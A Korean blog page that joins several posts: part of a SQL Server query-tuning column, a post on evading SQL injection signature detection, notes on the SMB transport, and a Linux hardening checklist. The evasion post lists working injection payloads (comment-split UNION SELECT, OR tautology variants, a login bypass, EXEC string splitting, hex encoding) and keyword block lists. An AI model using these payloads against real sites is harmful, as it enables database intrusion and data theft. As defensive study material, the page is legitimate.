이 트리거는 Product 테이블에 INSERT가 실행될 때만 발생하므로 성공적인 INSERT 후에는 언제나 IDENTITY를 반환합니다. 이 테크닉을 사용하면 응용 프로그램 내 어디서나 동일한 방식으로 IDENTITY 값을 검색할 수 있습니다.

인라인 값 VS. 임시 테이블
종종 쿼리는 GROUP BY 후 표준 쿼리를 실행해야만 수집할 수 있는 다른 데이터에 데이터를 조인해야 하는 경우가 있습니다. 예를 들어 가장 최근 주문 5건에 대한 정보를 반환하고 싶다면 먼저 그 최근 주문 5건이 무엇인지부터 알아야 합니다. 이 주문은 주문 ID를 반환하는 SQL 쿼리를 사용하면 검색할 수 있습니다. 이 데이터는 임시 테이블에 저장될 수 있으며 그런 다음 Product 테이블로 조인되어 그 주문에 대해 판매된 제품 수량을 반환합니다.
CREATE TABLE #Temp1 (OrderID INT NOT NULL, _                      OrderDate DATETIME NOT NULL)  INSERT INTO #Temp1 (OrderID, OrderDate) SELECT     TOP 5 o.OrderID, o.OrderDate FROM Orders o ORDER BY o.OrderDate DESC  SELECT     p.ProductName, SUM(od.Quantity) AS ProductQuantity FROM     #Temp1 t      INNER JOIN [Order Details] od ON t.OrderID = od.OrderID     INNER JOIN Products p ON od.ProductID = p.ProductID  GROUP BY p.ProductName ORDER BY p.ProductName  DROP TABLE #Temp1 
이 SQL 일괄 처리는 임시 테이블을 만들어 그 테이블에 데이터를 입력하고 다른 데이터를 조인한 다음 그 임시 테이블을 삭제합니다. 이 쿼리는 I/O가 많으므로 임시 테이블 대신 인라인 뷰를 사용하도록 다시 작성할 수 있습니다. 인라인 뷰는 간단하게 말하면 FROM 절에서 조인될 수 있는 쿼리입니다. 따라서 임시 테이블의 tempdb에서 많은 I/O 와 디스크 액세스를 허비하는 대신 인라인 뷰를 사용해서도 동일한 결과를 얻을 수 있습니다.
SELECT p.ProductName,      SUM(od.Quantity) AS ProductQuantity FROM     (     SELECT TOP 5 o.OrderID, o.OrderDate     FROM     Orders o      ORDER BY o.OrderDate DESC     ) t      INNER JOIN [Order Details] od ON t.OrderID = od.OrderID     INNER JOIN Products p ON od.ProductID = p.ProductID  GROUP BY     p.ProductName ORDER BY     p.ProductName 
이 쿼리는 이전 쿼리보다 효율적일 뿐만 아니라 더 짧습니다. 임시 테이블은 많은 리소스를 소비합니다. 따라서 데이터를 다른 쿼리에 조인시키기만 하면 되는 경우에는 인라인 뷰를 사용하여 리소스를 보존하는 방법을 시도해 보는 것이 좋을 것입니다.

LEFT JOIN과 NULL 피하기
물론, LEFT JOIN을 실행하고 NULL 값을 사용해야 할 때가 있습니다. 하지만 모든 경우에 항상 그래야 하는 것은 아닙니다. SQL 쿼리를 구성하는 방식을 변경하면 실행 시간이 몇 분이 걸리는 보고서를 단 몇 초 만에 실행되는 보고서로 만들 수 있습니다. 그리고 응용 프로그램이 원하는 방식으로 쿼리의 데이터를 변경해야 하는 경우도 종종 있습니다. TABLE 데이터 형식은 리소스 사용량을 줄여주지만 쿼리에는 최적화할 수 있는 부분이 여전히 많이 남아 있습니다. SQL에서 일반적으로 사용되는 아주 유용한 기능은 LEFT JOIN입니다. 이 기능은 첫 번째 테이블의 모든 행과 두 번째 테이블의 일치하는 모든 행, 그리고 첫 번째 테이블의 행과 일치하지 않는 두 번째 테이블의 모든 행을 검색하는데 사용할 수 있습니다. 예를 들어 모든 Customer와 그 주문을 반환하고 싶다면 LEFT JOIN은 주문을 한 Customer와 주문을 하지 않은 Customer를 표시할 것입니다.
이 도구는 지나치게 남용될 수 있습니다. LEFT JOIN은 NULL(존재하지 않음) 데이터에 대해 데이터를 일치시키는 작업을 하므로 부담이 큽니다. 이 실행을 피할 수 없는 경우도 있지만 그럴 경우 부담이 커집니다. LEFT JOIN은 INNER JOIN보다 부담이 더 크므로 LEFT JOIN을 사용하지 않도록 쿼리를 다시 작성할 수 있다면 부담이 크게 줄어들 수 있습니다(그림 1의 다이어그램 참조).

그림 1 쿼리
그림 1 쿼리

LEFT JOIN을 사용하는 쿼리의 속도를 높이기 위해서는 TABLE 데이터 형식을 만들고 첫 번째 테이블(LEFT JOIN의 왼쪽에 있는 테이블)에서 모든 행을 삽입한 다음 두 번째 테이블의 값을 사용하여 그 TABLE 데이터 형식을 업데이트합니다. 이 테크닉은 2단계 프로세스이지만 표준 LEFT JOIN과 비교하면 시간을 크게 줄일 수 있습니다. 자신의 응용 프로그램에 맞는 최고 성능의 쿼리를 얻을 때까지 각각에 대해 서로 다른 테크닉을 시도하여 시간을 측정해 보는 것이 좋습니다.
쿼리 속도를 테스트할 때는 여러 번 실행해서 평균을 구하는 것이 좋습니다. 쿼리(또는 저장 프로시저)는 SQL Server 메모리의 프로시저 캐시에 저장될 수 있으므로 처음에는 더 오래 걸리지만 계속 시도할수록 점점 더 짧아집니다. 이 외에도 쿼리 실행 중 동일한 테이블에 대해 다른 쿼리가 실행되고 있을 수도 있습니다. 그렇게 되면 다른 쿼리가 테이블을 잠궜다가 해제하는 동안 사용자의 쿼리는 기다려야 할 수도 있습니다. 예를 들어 다른 사람이 테이블의 데이터를 업데이트하는 동안 그 테이블에 대해 쿼리를 실행하면 그 업데이트가 실행되는 동안에는 쿼리 실행에 더 많은 시간이 걸릴 수 있습니다.
LEFT JOIN으로 인한 감속을 피할 수 있는 가장 쉬운 방법은 가능한 한 많이 LEFT JOIN을 중심으로 데이터베이스를 디자인하는 것입니다. 예를 들어, 한 제품에 카테고리가 있을 수도 있고 없을 수도 있다고 가정해 봅시다. 제품 테이블에 그 카테고리의 ID가 저장되어 있는데 특정 제품에 대한 카테고리가 존재하지 않는다면 그 필드에는 NULL 값을 저장할 수 있습니다. 그런 다음 LEFT JOIN을 실행하여 모든 제품과 그 카테고리를 얻습니다. “No Category” 값을 가진 카테고리를 만들 수 있으므로 NULL 값을 허용하지 않도록 외래 키 관계를 지정합니다. 이렇게 하면 이제 INNER JOIN을 사용하여 모든 제품과 그 카테고리를 검색할 수 있습니다. 추가 데이터로 인해 작업이 더 많아진 것처럼 보일 수도 있지만 SQL 일괄 처리에서 부담이 큰 LEFT JOIN을 제거할 수 있으므로 아주 유용한 테크닉입니다. 데이터베이스의 보드 전체에 이 개념을 사용하면 처리 시간이 크게 줄어듭니다. 불과 몇 초도 사용자에게는 많은 것을 의미하며 온라인 데이터베이스 응용 프로그램을 액세스하는 사용자가 많을 경우 이 시간은 더욱 길어진다는 것을 기억하십시오.

Cartesian 제품을 현명하게 사용하기
이 팁의 경우에는 일반적인 의견과 달리, 특정한 경우 Cartesian 제품을 사용하도록 주장합니다. Cartesian 제품(CROSS JOIN)은 많은 비난을 받았으며 개발자들은 종종 이 제품을 절대 사용하지 말 것을 권고 받습니다. 많은 경우 이 제품은 부담이 너무 커서 효과적이지 않습니다. 하지만 SQL의 여느 도구와 마찬가지로 이 도구 역시 적절히 사용하기만 하면 유용합니다. 예를 들어, 그 달에는 주문을 하지 않은 고객에 대해서조차 매달 데이터를 반환할 쿼리를 실행하고 싶다면 Cartesian 제품이 아주 편리할 것입니다. 그림 2 (영문)의 SQL이 바로 그렇습니다.
이 방법이 마법처럼 여겨지지는 않겠지만 Customer에서 Orders로의 표준 INNER JOIN을 실행하여 월별로 묶고 판매를 요약하면 해당 고객이 주문을 한 월만을 반환 받게 된다는 점을 생각해 보십시오. 그렇게 되면 고객이 제품을 주문하지 않은 달에 대해서는 0 값을 반환 받지 못합니다. 월별 판매가 표시된 고객별 그래프를 만들려고 한다면 시각적으로 식별할 수 있도록 월 판매가 0인 달도 포함된 그래프를 그리고 싶을 것입니다. 그림 2 (영문)의 SQL을 사용하면 Order 테이블에 비판매 관련 행이 없으므로 이 데이터는 판매 금액이 0인 달은 건너뜁니다(발생하지 않은 것은 저장하지 않는 것으로 가정됩니다).
그림 3 (영문)의 코드는 더 길지만, 판매가 없는 달에 대해서도 모든 판매 데이터를 받는다는 목표를 달성할 수 있습니다. 먼저, 지난 해 모든 달의 목록을 받아서 첫 번째 TABLE 데이터 형식 테이블(@tblMonths)에 넣습니다. 그러면 이 코드는 그 기간 동안 판매를 한 모든 고객의 회사명 목록을 받아 또 다른 TABLE 데이터 형식 테이블(@tblCus-tomers)에 넣습니다. 이 두 테이블은 실제 판매 수치를 제외하고는 결과 집합을 만드는데 필요한 기본 데이터를 모두 저장합니다.
첫 번째 테이블에는 모든 달(12행)이 표시되며 그 기간 동안 판매를 한 모든 고객은 두 번째 테이블(81)에 표시됩니다. 모든 고객이 지난 12달 동안 매달 제품을 구입하지는 않았으므로 INNER 또는 LEFT JOIN을 실행하면 매달 모든 고객을 반환하지는 않으며 고객이 뭔가를 구입한 달과 그 고객만을 반환합니다.
Cartesian 제품은 모든 달에 대해 모든 고객을 반환할 수 있습니다. Cartesian 제품은 기본적으로 첫 번째 테이블에 두 번째 테이블을 곱하므로 첫 번째 테이블의 행 수 곱하기 두 번째 테이블의 행수가 들어 있는 행 집합이 만들어 집니다. 따라서 Cartesian 제품은 @tblFinal 테이블에 972행을 반환합니다. 마지막 단계는 이 날짜 범위동안 개별 고객에 대한 월간 총 판매량을 사용해 @tblFinal 테이블을 업데이트하고 최종 행 집합을 선택하는 것입니다.
Cartesian 제품은 리소스 집약적이므로 진짜 이 제품이 필요한 것이 아니라면 CROSS JOIN을 주의해서 사용하는 것이 좋습니다. 예를 들어, 제품과 카테고리에 CROSS JOIN을 실행한 다음 WHERE 절, DISTINCT 또는 GROUP BY를 사용하여 대부분의 행을 필터링하는 경우 INNER JOIN을 사용하면 훨씬 효과적인 방식으로 동일한 결과를 얻을 수 있습니다. 월간 판매일이 표시된 그래프를 로드하고자 하는 경우처럼 모든 가능성에 대해 데이터가 반환되기를 원하는 경우 Cartesian 제품은 아주 유용할 수 있습니다. 하지만 대부분의 경우 INNER JOIN이 훨씬 더 효율적이므로 다른 용도로는 사용하지 말아야 합니다.

기타
다음은 SQL 쿼리의 효율성을 높이는데 도움이 될 수 있는 다른 몇몇 일반적인 테크닉입니다. 모든 판매 담당자를 지역별로 묶은 다음 그 판매액을 집계하려고 한다고 가정합니다. 단, 데이터베이스에서 활성으로 표시된 판매 담당자만을 원한다고 합니다. 이 판매 담당자를 지역별로 묶은 다음 HAVING 절이나 WHERE 절을 사용하여 활성 상태가 아닌 판매 담당자를 제거할 수 있습니다. WHERE 절에서 이 작업을 하면 그룹화해야 하는 행의 수가 줄어들므로 HAVING 절을 사용하는 것보다 훨씬 효과적입니다. HAVING 절에서 행 기반 기준을 필터링하면 이 쿼리는 WHERE 절에서 제거되었을 데이터를 그룹화합니다.
효율성을 높이기 위한 또 다른 트릭은 GROUP BY 절을 사용하는 대신 DISTINCT 키워드를 사용하여 고유한 데이터 행 목록을 찾아내는 것입니다. 이 경우 DISTINCT 키워드를 사용하는 SQL이 더 효과적입니다. GROUP BY는 집계 함수 (SUM, COUNT, MAX 등)를 계산해야 하는 경우를 위해 남겨 두십시오. 이 외에도, 쿼리가 항상 고유한 행을 반환하는 경우에는 IDSTINCT 키워드를 사용하지 마십시오. 이러한 경우 DISTINCT 키워드는 오버헤드만 가중시킬 뿐입니다.
다양한 테크닉을 사용하여 쿼리를 최적화하고 특정한 비즈니스 규칙을 구현할 수 있다는 것을 보았습니다. 문제는 몇몇 테크닉을 시도하여 그 성능을 비교해 보아야 한다는 것입니다. 가장 중요한 것은 테스트를 하고 또 해야 한다는 것입니다. 이 컬럼의 다음 호에서는 데이터베이스 디자인, 우수한 인덱싱 실행 기준, 그리고 SQL Server 보안 패러다임을 포함한 SQL Server 개념을 살펴 보겠습니다.

Johnny에게 질문이나 의견 있으시면 mmdata@microsoft.com으로 메일을 보내십시오.
Posted by 1010
98..Etc/Security2008. 7. 24. 12:03
반응형
[보안] SQL 탐지 우회기법
새삼스럽게 최근의 나온 것은 아니지만, 활용여부에 따라 테크닉에 상당한 도움이 될 것 같아 올려봅니다. 요즘 다시 DBMS 공부해보는데 참 재밌네요.(IMPERVA 문서를 많이 참고했습니다.)

SQL Injection Signatures Evasion
     
1. 이 문서에 대한 요약

URL Request에 arbitrary string(악의적인 문자열)을 삽입시키는 일반적인 형태는 다음과 같이 이루어 집니다. 웹 애플리케이션의 사용자 입력값을 받는 모든 폼, 검색창 형태들이 이에 해당됩니다. 아래의 예처럼 변수의 변수값에 직접적으로 삽입이 이루어진다.

예) 만약에 시스템에 string 필드 값이 존재하지 않는 경우에는 새로운 파라메터에 간단히 추가할 수 있다.(이런 경우 일부 웹 애플리케이션은 이를 차단하거나 무시함)

....$id=43&testparam=malicious code

SQL Injection이 탐지가 되는 경우에 SQL Comment 문자열(/* */)에 대한 signature가 존재하지 않을 때, 이럴 경우 간단히 injection시킬 수 있다.

....$dbid=original’ --

또 다른 테크닉 기법으로는 SQL Injection 취약점이 탐지되고, AND 키워드에 대한 Signature가 존재하지 않을 때 패턴은 다음과 같이 된다.

....$dbid=original’ AND ‘100’=’100’

대부분의 웹 사이트에서 이러한 취약점들을 가지고 있다. 이런 키워드 탐색을 통해서 SQL Injection의 가능성 여부를 알아볼 수 있다.
두번째 단계로 SQL 구문을 통한 공격이 이루어지 질 수 있는데, 아래와 같은 SQL 구문을 통해 필터링여부를 조사하게 된다.

- UNION SELECT
- OR 1=1
- exec sp_  또는 xp_  로 시작되는 스토어 프로시저(확장 스토어 프로시저)
- declare @s out
     
2. 일반적인 회피기법(Common Evasion Techniques)

1) Different Encoding : 다양한 인코딩 방식을 사용한 Evasion 기법
2) White Space 다양성(Diversity) : 일반적으로 SQL Injection 공격을 회피하기 위해 둘 이상의 스페이스 문자를 삽입시키는 경우 White Space에 의해 분리된다. 즉, 여러 개의 스페이스문자가 삽입되더라도 한번의 스페이스로 대체될 필요가 있다.

3) IP Fragmentation 및 TCP Segmentation
몇몇 Product에서는 TCP/IP 프레그먼트에 대한 취약점은 여전히 존재하고 있다.

3. Advanced 회피기법(Advancesd Evasion Techniques)

3.1 OR 1=1 Signature 기법
가장 일반적으로 사용되는 공격, 보통 탐지 Signature는 정규표현식으로 구성되어있다. 그러나 교묘한 방법을 사용하는 다양한 형태의 공격이 가능하다.

   - OR  ‘unusual’ = ‘unusual’

간단한 트릭을 쓰면 다음과 같이 ‘N’ 문자나 ‘+’를 삽입해 보는 경우이다. 이런 방식을 이용하면 간단히 Signature 기반의 탐지 메커니즘을 쉽게 우회할 수 있다. 광범위하고 다양한 정규표현식을 필터링을 하는 제품의 경우에는 이런 공격을 차단할 수 있다.

   - OR  ‘Simple’ = N’Simple’
   - OR  ‘Simple’ = ‘Sim’+’ple’
- OR  ‘Simple’  LIKE ‘Sim%’

또는 ‘<’, ‘>’ 를 사용하기도 한다.

  - OR  ‘Simple’ > ‘S’
  - OR  ‘Simple’ < ‘X’
  - OR 2 > 1

IN 또는 BETWEEN 구문을 사용하는 경우도 있다.(MS SQL 구문에서 유효함)

- OR  ‘Simple’  IN (‘Simple’)
- OR  ‘Simple’  BETWEEN ‘R’ AND ‘T’
(후자는 MS SQL에서만 유효하지만, 대부분의 DB에서도 간단하게 수정하는 것이 가능하 것으로 본다)  그러나 OR 키워드 형태로 Signature 했을 경우 발생가능한 오탐(false positive)의 경우도 있다.

  http://site/ordier.asp?ProdID=5&Quantity=4

3.2 White Spaces Evading Signature
  White space(스페이스 문자)가 포함된 공격에서의 Signature에 대한 정확도가 문제가 발생할 가능
  성을 염두에 둘 필요가 있다.
  단순히 ‘UNION SELECT’ 나 ‘EXEC SP_(XP_ )’ 형태의 탐지 패턴은 높은 정확성을 보일 수 있다.
  예를 들면 MS SQL 서버에서는 SQL 키워드 또는 number나 string 사이에 스페이스 문자는 생략될
  수 있어 아주 쉽게 Evasion이 허용될 수 있다.

..origText’  OR  ‘Simple’ = ’Simple’ 이 다음처럼 될 수 있다.
..origText’OR’Simple’=’Simple’

그러나 이런 공격은 UNION SELECT Statement 구문에서는 동작하지 않는다. 왜냐하면 두 키워드 사이는 반드시 분리되어야 하기 때문이다. 따라서 스페이스문자 보다는 C 언어의 Comment syntax를 이용하면 evasion이 가능할 수도 있다.(/*  … */ 이런 형태)

select *
from tblProducts   /* List of Prods */
where ProdID = 5

C-Like comment 형태의 공격은 다음과 같다. 실제로 comment 부분을 나타내는 ‘/**/’이 스페이스 문자로 대체된다.

....&ProdID=2  UNION  /**/  SELECT  name ....
....&ProdID=2/**/UNION/**/SELECT/**/name ....
....&origText’/**/OR/**/’Simple’=’Simple’

http://site/login.asp?User=X&Pass=Y

....login.asp?User=X’OR’1’1/* &Pass=Y*/=’1

실제 SQL 쿼리 구성은 다음과 같다

  Select * from Users where User=’X’OR’1’/* AND Pass=’*/=’1’

3.3 Evading Any String Pattern
  단독 키워드의 경우에는 false positive가 발생한다. 같은 Comment 형태로 MySQL에서는 다음과
  같은 형태로 공격에 사용될 수 있다.

     ....UN/**/ION/**/SE/**/LECT/**/  ....

  MS SQL에서 스토어 프로시저를 실행시키는 EXEC를 아래와 같은 형태로 공격을 할 수 있다.  
  INSERT INTO를 두부분으로 분리하여 Injection 시킨다. 이럴 경우 Signature 메커니즘에서 탐지가
  안된다.
  또한 이와 유사한 공격으로 MS SQL에서는 SP_EXECUTESQL 라는 확장 스토어 프로시저를 사용
  한다. 그러나 새로운 버전에서는 SP_SQLEXEC 프로시저로 이름이 변경되었다. 이들 모두 SQL 쿼
  리를 실행시킬 수 있다. 참고로 Oracle에서는 ‘EXECUTE IMMEDIATE’가 이와 동일한 기능을 수행
  한다.

     ....; EXEC (‘INS’+’ERT INTO....’)

한가지 주목할 점이 MS SQL에서 헥사코드로 인코딩된 스트링이 실행된다는 것이다. 이 방식대로 한다면 ‘SELECT’는 헥사코드 번호 0x73656C656374로 표현이 되고 탐지가 되지 않는다.
또 한가지 다른 예는 MS SQL 서버에서 OPENROWSET 구문과 관련된 것이다. 가장 널리 알려지고 오랜된 이 기법이 아직도 유효하게 사용되는 곳이 많이 존재하고 있고, 대부부의 Signature 기반의 제품들에서는 탐지를 못하는 경우가 발생하고 있다. 그리고 MS SQL 서버에서 SQL 쿼리를 실행시킬 수 있는 Unlisted 스토어 프로시저가 존재하고 있다.
sp_prepare, sp_execute 이 프로시저는 MS SQL 서버 어디에도 나타나지 않는다. 따라서 이들 프로시저를 이용한 공격은 탐지가 안될 가능성이 있다. 다른 DB에도 이와 유사하게 Undocument 프로시저가 있을 수 있다. Undocument 프로시저를 이용한 공격이 현재로서는 충분히 가능성 있어 보인다.

4. 결론

1) 모든 SQL 구문에 사용되는 문자열에 대한 탐지가 필요한데 이때 약간의 인공지능식 검색이 필요할 듯 싶다.(검색 조건의 AND와 OR 조건에 따른 오탐의 여부가 많은 것이 단점이다.)
(INSERT, INTO, UNION, SELECT, DELETE, UPDATE, CREATE, FROM, WHERE, OR, AND, LIKE, SQL, ROWSET, OPEN, BEGIN, END, DECLARE)

2) 모든 스토어 프로시저의 탐지 및 차단(실제 서비스에서는 프로시저를 써야하는 곳이 많아서 이부분은 적극적인 권장사항은 아니지만 가급적 최소화하는데 목적을 두고 싶다)
(EXEC, SP_, XP_ )

3) 모든 메타문자 차단
  (;  --  +  ‘  (  )  =  >  <  @  *)
Posted by 1010
98..Etc/Security2008. 7. 24. 11:54
반응형

SMB Transport 프로토콜



 

Windows 2000에서 일반적으로 SMB/CIFS 전송 프로토콜의 타입은 NetBIOS over TCP/IP이다.  Windows2000이 시작되면 SMB/CIFS는 NetBIOS 계층을 통하지 않고도 직접적으로 TCP(443/TCP)로 전송할 수 있다.

Windows 시스템에서 어떤 SMB Transport가 활성화되어 있는지 확인하는 방법은 아래와 같은 명령어를 사용해서 확인할수 있다.

"net config rdr"과 "net config srv" 명령어는 NetWkstaTransportEnum()와 NetServerTransportEnum() Win32 API를 사용한다.

C:\>net config rdr
컴퓨터 이름                      \\HKnight
전체 컴퓨터 이름                 HKnight
사용자 이름                      HKnight

활성 워크스테이션
        NetbiosSmb (000000000000)
        NetBT_Tcpip_{88AF4C41-3AEE-4613-9879-B54C4F8F3439} (00E0910F8C6B)
        NetBT_Tcpip_{9ED3AFE3-9CF9-43E4-8FB1-8F045F9FCAA1} (005056C00001)
        NetBT_Tcpip_{6AB8E94E-9CEF-4A8D-B7DE-20F8CC85A36B} (005056C00008)

소프트웨어 버전                  Windows 2002

워크스테이션 도메인              WORKGROUP
워크스테이션 도메인 DNS 이름     (null)
로그온 도메인                    HKnight

COM 열기 시간 초과 (초)          0
COM 전송 수 (바이트)             16
COM 전송 시간 초과 (밀리초)      250
명령을 잘 실행했습니다.


C:\>net config srv
서버 이름                             \\HKnight
서버 설명                             HKnight

소프트웨어 버전                       Windows 2002
서버 활성화
        NetbiosSmb (000000000000)
        NetBT_Tcpip_{6AB8E94E-9CEF-4A8D-B7DE-20F8CC85A36B} (005056c00008)
        NetBT_Tcpip_{9ED3AFE3-9CF9-43E4-8FB1-8F045F9FCAA1} (005056c00001)
        NetBT_Tcpip_{88AF4C41-3AEE-4613-9879-B54C4F8F3439} (00e0910f8c6b)


서버 숨겨짐                           아니오
로그온 사용자 최대 수                 5
세션당 열 수 있는 파일의 최대 수      16384

유휴 세션 시간 (분)                   15
명령을 잘 실행했습니다.

NetWkstaTransportEnum()와 NetServerTransportEnum() Win32 API는 두개의 RPC Call를 이용한다.

Samba-TNG rpcclient 유틸리티는 srvtransports command를 제공한다. 그리고 그것은 retrieve server-side transports로서 .

참고로 Windows NT 4.0와 Windows 2000 systems의 NetServerTransportEnum() API는 버그가 있는 것으로 알려져 있다. 

Windows Vista에서는 "net config srv"  명령어 결과가 다음과 같이 출력된다. 

C:\WINDOWS>net config srv  [...]  Software version                      Windows (TM) Code Name "Longhor Server is active on                    	NetbiosSmb (WINVISTA) 	NetBT_TCPIP_{34559422-6B8D-4328-BAA1-25A6A331C6A8} (WINVISTA)  [...]

Active transports는 

  • NetbiosSmb는 raw SMB transport (445/tcp)를 사용한다.
  • NetBT_Tcpip_{...} 는 NetBT SMB transport로서 per-adapter basis당 하나씩 연결된다.

raw SMB transport can not be disabled on a per-adapter basis. To completely disable it, the NetBT driver must be stopped.

A Windows system with both SMB transports active tries to connect to 445/tcp and 139/tcp at the same time. If the connection to 445/tcp is accepted, the connection to port 139 is closed (sending a TCP segment with the RST flag set), i.e., raw SMB transport is preferred over NetBT transport


출처 : http://hacking.egloos.com/69730

Posted by 1010
98..Etc/Security2008. 7. 24. 11:50
반응형

리눅스보안셋팅.

 

1.chmod 700변경하기
본 권한변경 목적은 계정을 통하지 않은 불법적인 접근을 막기
위한 방법으로 가능한 필요하지 않은 파일들의 권한을 변경해
주시기 바랍니다. 특히 suid가 걸린 파일의 경우 절대적으로
권한변경을 해주시기 바랍니다.
/usr/bin/finger(chmod 700 적용) <-- 서버 이용자 파악을 하지 못하게 함
/usr/bin/nslookup(chmod 700 적용)
/usr/bin/gcc(chmod 700 적용) <-- 당연히 막아줘야져.
/usr/bin/suidperl(chmod 700 적용) <--suid 걸린 파일
/usr/bin/whereis(chmod 700 적용)
/usr/bin/cc(chmod 700 적용) <--- 소스 컴파일은 루트이외에 못하도록 조치
/usr/bin/sperl5.00503(chmod 700 적용) <--- perl중에 suid걸린 파일임
/usr/bin/c++(chmod 700 적용)
/usr/bin/make(chmod 700 적용)
/usr/bin/pstree(chmod 700 적용)
/usr/bin/rlog(chmod 700 적용)
/usr/bin/rlogin(chmod 700 적용) <-- 필요없는 경우에는 삭제 하시길
/usr/bin/which(chmod 700 적용)
/usr/bin/who(chmod 700 적용)
/usr/bin/w(chmod 700 적용)
/bin/mail(chmod 700 적용) <-- 아웃룩익스프레스가 아닌 계정상에서
텔넷으로 메일을 확인하지 못하게 하십시요.
/bin/ps(chmod 700 적용)
/etc/hosts(chmod 700 적용)
/etc/hosts.deny(chmod 700 적용)
/etc/hosts.allow(chmod 700 적용)
2.anonymous ftp 막기
#vi proftpd.conf (/etc 에 위치)
중략
에서
UserAlias anonymous ftp //이부분을 주석처리 해준다.
wq (저장후 종료)
3.telnet 사용막기 <--가장 추천하는 방법입니다.
현재 텔넷이 막힌 경우에는 해킹의 위험이 극히 줄어듭니다.
텔넷을 사용하시고자 하시는 분은 데이터 센터의 보안 서비스나
다른 방법을 사용하시기 바랍니다.

ip 거부
#vi hosts.deny (/etc 에 위치)
in.telnet:ALL
wq (저장후 종료)
#hosts.allow (/etc에 위치)
ALL:(IP 추가) <--- 텔넷으로 들어올 아이피만 적는다.
wq (저장후 종료)
저장후 다음과 같이
#/etc/rc.d/init.d/inet restart
telnet 서비스 제공업체측 ip를 추가해야 telnet 사용가능
4.ping 막는법 <---당연히 핑도 막아야 겟죠.
#echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all //ping 막기
#echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all //ping 열기
5.chkconfig 사용법(부팅시 수행되는 서비스) <--중요합니다.
#chkconfig --list (/sbin 밑에 위치)
#chkconfig --help (참고)
#chkconfig --level 3 sendmail off (사용방법예)
보통 부팅의 경우 레벨3으로 부팅이 됩니다.
그러므로 레벨3에서 필요하지 않은 데몬은 위와 같은 방법으로
모두 꺼두시기 바랍니다.
#chkconfig --list (하면 나오는것들)
xfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
anacron 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
apmd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
arpwatch 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
atd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
keytable 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
gpm 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
inet 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
netfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
network 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
random 0:끔 1:켬 2:켬 3:켬 4:켬 5:켬 6:끔
ipchains 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
pcmcia 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kdcrotate 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kudzu 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
linuxconf 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
lpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfslock 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
identd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
portmap 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rstatd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rusersd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwalld 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwhod 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
sendmail 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
syslog 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
snmpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
crond 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
ypbind 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
yppasswdd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
ypserv 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
proftpd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
named 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
이중 켜야할것은 보통 9개정도밖에 안됩니다. 3번레벨을
기준으로, keytable,inet, network,random,kudzu,sendmail,syslog,
crond,proftpd 나머지는 off 시켜주는것이 바람직합니다. (자기의
환경에 맞춰서)
참조문서는 http://www.osfs.net/redhat/security-guide-01.doc
6.find 관련 명령
#find /dev -type f // /dev/MAKEDEV만떠야함 (백도어 찾기)
#find / -ctime -1 //하루동안 만들어진 화일 (해킹당한듯 싶으면 확인 )
#find / -perm -4000 // setuid 걸린 파일을 찾는 명령어
7./etc/inetd.conf 화일 수정
네트워크의 서비스를 정의하고 있는 화일로서 , 정의되어 있는
서비스가 많이 있다. 보안사고를 피하기 위해서는 최대한
필요하지 않은 서비스는 차단하는게 바람직하다. 기본적으로 ,
telnet,ftp,pop3외의것은 주석처리 하는것이 좋다. 닫아놨는데,
이외의 것이 열려있다면 해킹의 가능성이 있다. 이때는 다시
주석처리를 하고
#ps -ef | grep inetd //프로세스 확인
#kill -HUP PID //리셋
#vi inetd.conf (/etc 에 위치)
telnet
ftp
pop3
나머지는 주석처리
wq (저장후 종료)
tip> #kill -9 PID //프로세스 죽이기
8.해킹이 확실한경우 대처법
해킹이 확실한상태에서 그냥 컴퓨터를 종료시키면, 재부팅이
안될수가 있다. 이것을 막기 위해,
#/etc/rc.d/rc.SYSinit 권한을 755를 준다. 최소한 부팅은 된다.
서버 & 보안 관련 문의
http://www.besthan.net 또는 http://www.koreaphp.co.kr
해킹시 연락처
http://www.certcc.or.kr/ 해킹시 신고처
cyber 테러대응센터 02-3939-112
cyber 수사대 02-365-7128
해킹 없는 세상에 살고싶은 오렌지블루였슴돠.


PART II는 PART I에서 수정되어야 하는 부분이나 추가 되어야 할
내용을 추가 했습니다. 보안을 위해 이문서를 참조하는 것도 좋습니다.
그러나 서버 운영 특성상 꼭 필요한 경우도 있으나 이 제한을 걸어서
사용할수 없는 경우가 있으니 꼭 확인후 조치를 부탁합니다.
